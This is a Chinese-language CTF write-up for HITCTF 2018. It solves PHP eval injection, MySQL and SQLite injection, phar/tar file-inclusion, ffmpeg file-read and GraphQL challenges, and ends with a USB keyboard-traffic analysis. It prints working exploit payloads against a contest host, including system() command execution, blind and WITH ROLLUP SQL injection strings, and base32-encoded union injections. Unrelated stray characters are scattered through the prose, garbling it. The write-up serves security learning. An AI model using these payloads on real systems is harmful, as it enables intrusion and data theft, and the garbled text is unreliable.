哈工大HITCTF 個(gè)人賽第13名尊残,奮斗了兩天的結(jié)果砍的,粘圖紀(jì)念一下.
PHPreading
掃描目錄找到index.php.bak 備份文件
<?php
eval(base64_decode('JGZsYWc9JF9HRVRbJ2FzZGZnanh6a2FsbGdqODg1MiddO2lmKCRmbGFnPT0nSDFUY3RGMjAxOEV6Q1RGJyl7ZGllKCRmbGFnKTt9ZGllKCdlbW1tbScpOw=='))
?>
解碼得到
$flag=$_GET['asdfgjxzkallgj8852'];if($flag=='H1TctF2018EzCTF'){die($flag);}die('emmmm');
傳入正確的參數(shù)即可獲得flag
BabyEval
<!--
$str=@(string)$_GET['str'];
blackListFilter($black_list, $str);
eval('$str="'.addslashes($str).'";');
-->
手工試了一下發(fā)現(xiàn)blackListFilter函數(shù)過濾了單引號(hào)和雙引號(hào),還用了addslashes函數(shù)過濾, 基本杜絕了拼接注入,那么如何來做呢? 這里發(fā)現(xiàn)傳入的參數(shù)用了雙引號(hào)來拼接,這里利用雙引號(hào)解析變量的特點(diǎn)來達(dá)到命令執(zhí)行的效果,實(shí)際應(yīng)用是在一些網(wǎng)站中配置文件中的變量有用雙引號(hào)包圍的, 這樣如果后臺(tái)可以修改配置文件,那么就可以寫入變量解析達(dá)到命令執(zhí)行的效果, 具體參考: http://www.blogsir.com.cn/safe/423.html
我們來試一下:
如何來執(zhí)行命令呢法挨? 我的做法是這樣
import requests
url = 'http://120.24.215.80:10013/?str=${system(base64_decode(%s))}'
cmd = "cat /162920976d9c04ac69e2f4392a8cffbf_flag.txt"
if len(cmd) % 3 != 0:
cmd += ' '*(3-len(cmd)%3)
print cmd.encode('base64')
target = url%(cmd.encode('base64'))
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
html = requests.get(target,headers=headers)
print html.content
利用了base64_decode 不需要引號(hào)包圍的tricks 來解題插掂,但這里要注意的是不能出現(xiàn)'='字符屿笼,否則base64解密失敗丧叽,因此需要命令必須是3個(gè)字節(jié)的倍數(shù)的長(zhǎng)度大芯烊帷.
還有就是利用反引號(hào)來執(zhí)行命令
?str=${var_dump(`ls`)}
這樣也不需要用到單引號(hào).
BabyInjection
<?php
error_reporting(0);
if (!isset($_POST['username']) || !isset($_POST['passwd'])) {
echo 'Login and get the flag';
echo '<form action="" method="post">'."<br/>";
echo '<input name="username" type="text" placeholder="username"/>'."<br/>";
echo '<input name="passwd" type="text" placeholder="passwd"/>'."<br/>";
echo '<input type="submit" ></input>'."<br/>";
echo '</form>'."<br/>";
die;
}
$flag = '';
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp|limit|or";
$username = $_POST['username'];
$passwd = $_POST['passwd'];
if (preg_match("/".$filter."/is",$username)==1){
die("Hacker hacker hacker~");
}
if (preg_match("/".$filter."/is",$passwd)==1){
die("Hacker hacker hacker~");
}
$conn = mysqli_connect();
$query = "SELECT * FROM users WHERE username='{$username}';";
echo $query."<br>";
$query = mysqli_query($conn, $query);
if (mysqli_num_rows($query) == 1){
$result = mysqli_fetch_array($query);
if ($result['passwd'] == $passwd){
die('you did it and this is your flag: '.$flag);
}
else{
die('Wrong password');
}
}
else{
die('Wrong username');
}
這題直接給出了源碼, 給出了過濾規(guī)則庸队,過濾的還比較正常积蜻,有點(diǎn)麻煩的可能是這條mysqli_num_rows($query) == 1
, 限制了查詢數(shù)據(jù)只能是一條,但黑名單里面又過濾了limit, 一開始還有點(diǎn)懵逼, 仔細(xì)思考了發(fā)現(xiàn)可以增加查詢限制條件彻消,比如'-'' group by id having id=1#
, 或者'-'' && id=1#
這樣子竿拆,返回結(jié)果都是wrong password , 然后就是正常盲注出密碼即可.payload: ' || id=1 && passwd>0x{0}#
一葉飄零大佬提供了另外一種解題思路: http://skysec.top/2018/02/01/HITCTF-WEB%E9%A2%98%E8%A7%A3/ , 我們知道如果這里沒有限制union,select 我們是可以通過union 構(gòu)造出一條記錄union select md5('1')#
, 但這里顯然不行宾尚,大佬給出的方法是利用with rollup 構(gòu)造出一個(gè)passwd為null的新紀(jì)錄丙笋,with rollup 本來是添加一條統(tǒng)計(jì)的記錄,group by分組的字段為null,其他字段和上一條記錄一樣:
mysql> select * from user where username=''=0 group by password with rollup;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | 61d | 61d |
| 1 | admin | admin |
| 2 | r00t | r00t |
| 2 | r00t | NULL |
+----+----------+----------+
4 rows in set (0.00 sec)
那么如何選出password為null的那條記錄呢煌贴?, 利用的是password <=> NULL, 因?yàn)?null =null返回0御板,null <=>null 返回1
mysql> select * from user where username=''=0 group by password with rollup having password<=>NULL;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 2 | r00t | NULL |
+----+----------+----------+
1 row in set (0.00 sec)
總結(jié)<=>和=的關(guān)系
相同點(diǎn):可以對(duì)兩個(gè)值進(jìn)行比較,’A'<=>’B' = 0和’A'<=>’A‘ = 1;
不同點(diǎn):NULL的值是沒有任何意義的牛郑,當(dāng)比較重某一方為null時(shí)候怠肋,"="號(hào)或者"!="運(yùn)算符不能把NULL作為有效的結(jié)果,此時(shí)應(yīng)該使用<=>淹朋,'a' <=> NULL 得0 NULL<=> NULL 得出 1笙各。mysql上幾乎所有的操作符和函數(shù)都是這樣工作的,因?yàn)楹蚇ULL比較基本上都沒有意義础芍。
最后的payload: '-'' group by passwd with rollup having passwd <=> NULL#
, 學(xué)習(xí)了.
小電影
/upload , /download?name=xxx.avi .We will help you convert video with ffmpeg. Maybe you will find something different
Don't attack the platform ,it's simple .
Pay more attention to the video file and you will see what you want .
出過很多次的ffmpeg任意文件讀取漏洞杈抢,一開始審題不仔細(xì),沒看到首頁源代碼還有一行注釋\<!\-- flag is in /flag.txt -->
仑性, 導(dǎo)致在找了很久的flag.
BabyWrite
一道比較很有意思的題惶楼,首先是文件包含讀取到關(guān)鍵源碼:
index.php:
<?php
if(isset($_GET['page'])){
$file = $_GET['page'].'.php';
include($file);
}else{
header("Location: /?page=login");
die();
}
?>
login.php
<?php
require_once('config.php');
if(isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
if ($username === "admin" && sha1(md5($password)) === $admin_hash){
echo '<script>alert("Login seccess!");</script>';
}else{
if (isset($_GET['debug'])){
if($_GET['debug'] === 'hitctf'){
$logfile = "log/".$username.".log";
$content = $username." => ".$password;
file_put_contents($logfile, $content);
}else{
echo '<script>alert("Login failed!");</script>';
}
}else{
echo '<script>alert("Login failed!");</script>';
}
}
}else{
echo '<script>alert("Please input username and password!");</script>';
}
?>
之前xnuca 出過一道類似的題,唯一不同的是之前寫入內(nèi)容為: $content = $username." \n ".$password;
, 但換成=>
后難度加大很多诊杆,之前的做法可以參考航哥的一篇博客: http://www.reibang.com/p/fd9f38753078歼捐, 后綴限制為php
的文件包含一般是利用phar,zip 這些偽協(xié)議的突破的.
這里有一個(gè)坑是文件名無法寫入%00, 之前如果是\n
, 文件名只需要是`%50%4b%03%04` 即可,后面一位就是%0a, 一開始是參考的航哥的一篇文章http://www.reibang.com/p/03e612b9e379, 發(fā)現(xiàn)坑以后就立馬換了一種思路晨汹,想到了用tar包來解(phar協(xié)議可以解zip,也可以解tar包)豹储,我們構(gòu)造一個(gè)來看看
lj@lj /d/C/H/web> cat tt.tar|xxd
00000000: 6c6a 203d 3e20 2e70 6870 0000 0000 0000 lj => .php......
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 3030 3030 3636 3400 3030 3031 ....0000664.0001
00000070: 3735 3000 3030 3031 3735 3000 3030 3030 750.0001750.0000
00000080: 3030 3030 3033 3100 3133 3233 3530 3132 0000031.13235012
00000090: 3733 3200 3031 3032 3535 0020 3000 0000 732.010255. 0...
可以看到,tar包是將文件名放在開頭的宰缤,這樣我們只需要需要文件名為lj即可,后面的部分都可以作為password的內(nèi)容來寫入晃洒, 最后用phar協(xié)議解tar包即可.
最后的payload為:
http://120.24.215.80:10012/?page=phar://log/lj.log/lj%20=%3E%20&_=system(%27cat%20/d124abbe4cb6aa1621a8ca9519c0f5bf_flag.txt%27);
BabyQuery
最后這題找到注入點(diǎn)的時(shí)候已經(jīng)快結(jié)束了, 對(duì)sqlite數(shù)據(jù)庫的注入也不是很熟,可惜了.
首先是先查看源碼,發(fā)現(xiàn)一段js
$(document).ready(function(){
var query_data = {'query': '{ getscorebyid(id: "GE======"){ id name score } }'}
var btn = $('#query');
btn.click(function(){
$.post('/graphql', query_data, function(result){
alert(result);
})
});
})
看到graphql明白是GraphQL數(shù)據(jù)庫,這里之前比賽出現(xiàn)過幾次,因此找到一個(gè)paylaod可以查看schema表
query=
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation
onFragment
onField
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
查看schema發(fā)現(xiàn)Query 操作只有兩個(gè)field: getscorebyyourname和getscorebyid 參數(shù)分別是name和id, 手工測(cè)試了一下發(fā)現(xiàn)id參數(shù)經(jīng)過base32編碼且僅能是1位數(shù), 再試了下name參數(shù)發(fā)現(xiàn)了存在注入:
測(cè)試了下發(fā)現(xiàn)version(),user()之類的函數(shù)都報(bào)錯(cuò)了, 一開始有點(diǎn)懵逼,后來經(jīng)過管理員提醒是sqlite數(shù)據(jù)庫,之前一直沒時(shí)間好好研究Nosql數(shù)據(jù)庫的注入,大虧,于是自己百度了下Sqlite3 的注入語句, sqlite3 爆表名都是用sqlite_master這個(gè)內(nèi)置表(相當(dāng)于mysql里面的information_schema表, 于是整理的payload 如下:
>>> base64.b32encode("' union select (select group_concat(name,0x3a) from sqlite_master) /*");
'E4QHK3TJN5XCA43FNRSWG5BAFBZWK3DFMN2CAZ3SN52XAX3DN5XGGYLUFBXGC3LFFQYHQM3BFEQGM4TPNUQHG4LMNF2GKX3NMFZXIZLSFEQC6KQ='
>>> base64.b32encode("' union select (select sql from sqlite_master where name='Secr3t_fl4g') /*");
'E4QHK3TJN5XCA43FNRSWG5BAFBZWK3DFMN2CA43RNQQGM4TPNUQHG4LMNF2GKX3NMFZXIZLSEB3WQZLSMUQG4YLNMU6SOU3FMNZDG5C7MZWDIZZHFEQC6KQ='
>>> base64.b32encode("' union select (select flag from Secr3t_fl4g) /*");
'E4QHK3TJN5XCA43FNRSWG5BAFBZWK3DFMN2CAZTMMFTSAZTSN5WSAU3FMNZDG5C7MZWDIZZJEAXSU==='
鍵盤流量分析
Misc 說一道有意思的usb流量分析題慨灭,首先是在安全客上面找到一篇分析usb流量的文章: https://www.anquanke.com/post/id/85218`
usb 流量分析又分為鍵盤流量分析和鼠標(biāo)流量分析,鍵盤流量一般是8?jìng)€(gè)字節(jié)球及,所以我們先把八個(gè)字節(jié)的流量分析出來看:
00:00:0b:00:00:00:00:00 h
00:00:0b:0c:00:00:00:00
00:00:0c:00:00:00:00:00i
00:00:0c:17:00:00:00:00
00:00:17:00:00:00:00:00t
00:00:06:00:00:00:00:00c
00:00:17:00:00:00:00:00t
00:00:09:00:00:00:00:00f
02:00:00:00:00:00:00:00
02:00:2f:00:00:00:00:00{
02:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:0e:00:00:00:00:00K
02:00:00:00:00:00:00:00
00:00:08:00:00:00:00:00E
00:00:1c:00:00:00:00:00Y
02:00:00:00:00:00:00:00
02:00:05:00:00:00:00:00B
02:00:00:00:00:00:00:00
00:00:12:00:00:00:00:00o
00:00:04:00:00:00:00:00a
00:00:15:00:00:00:00:00r
00:00:07:00:00:00:00:00d
02:00:00:00:00:00:00:00
02:00:2d:00:00:00:00:00_
02:00:00:00:00:00:00:00
00:00:12:00:00:00:00:00o
00:00:15:00:00:00:00:00r
00:00:1d:00:00:00:00:00z
02:00:00:00:00:00:00:00
02:00:30:00:00:00:00:00}
02:00:00:00:00:00:00:00
01:00:00:00:00:00:00:00
01:00:06:00:00:00:00:00
可以看到氧骤,鍵盤流量的有效數(shù)據(jù)是在第三個(gè)字節(jié),每個(gè)值的具體意義可以參考官方usb流量的定義: http://www.usb.org/developers/hidpage/Hut1_12v2.pdf
第一個(gè)字節(jié)00代表小寫吃引,02代表大寫.